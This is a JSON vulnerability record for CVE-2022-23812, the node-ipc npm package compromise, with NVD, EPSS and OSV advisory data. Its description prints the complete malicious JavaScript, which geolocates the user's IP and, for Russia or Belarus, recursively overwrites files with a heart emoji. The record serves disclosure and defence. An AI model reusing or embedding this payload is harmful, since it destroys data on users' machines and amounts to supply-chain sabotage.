{"cve":"CVE-2022-23812","nvd":{"published":"2022-03-16T16:15:10.850","modified":"2026-06-17T04:30:49.207","status":"Modified","description":"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };","cvss_v4":null,"cvss_v3":{"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8},"cwes":[],"references":["https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js","https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580","https://github.com/RIAEvangelist/node-ipc/issues/233","https://github.com/RIAEvangelist/node-ipc/issues/236","https://security.netapp.com/advisory/ntap-20220407-0005/"],"products":["node-ipc_project:node-ipc"],"source":"nvd","synced_at":"2026-10-19T21:29:06.454770966+00:00"},"epss":{"cve":"CVE-2022-23812","score":0.04225,"percentile":0.91006,"date":"2026-11-01"},"kev":null,"osv":[{"id":"GHSA-97m3-w2cp-4xx6","url":"https://osv.dev/vulnerability/GHSA-97m3-w2cp-4xx6","summary":"Embedded Malicious Code in node-ipc","modified":"2026-03-16T03:12:33.092894Z","packages":[{"ecosystem":"npm","name":"node-ipc","purl":"pkg:npm/node-ipc","ranges":[">=10.1.1 <10.1.3"],"fixed":["10.1.3"]}]}],"attribution":["This product uses the NVD API but is not endorsed or certified by the NVD.","EPSS scores: FIRST Exploit Prediction Scoring System, https://www.first.org/epss","Known exploited vulnerabilities: CISA Known Exploited Vulnerabilities Catalog, https://www.cisa.gov/known-exploited-vulnerabilities-catalog","Package advisories: OSV (https://osv.dev), from the GitHub Advisory Database, PyPA, Go, RustSec and other ecosystem databases, under CC-BY 4.0 or CC0","CVE records: the CVE Program's CVE List (https://www.cve.org), under its terms of use (https://www.cve.org/Legal/TermsOfUse). CVE is a registered trademark of The MITRE Corporation; this product is not affiliated with the CVE Program."]}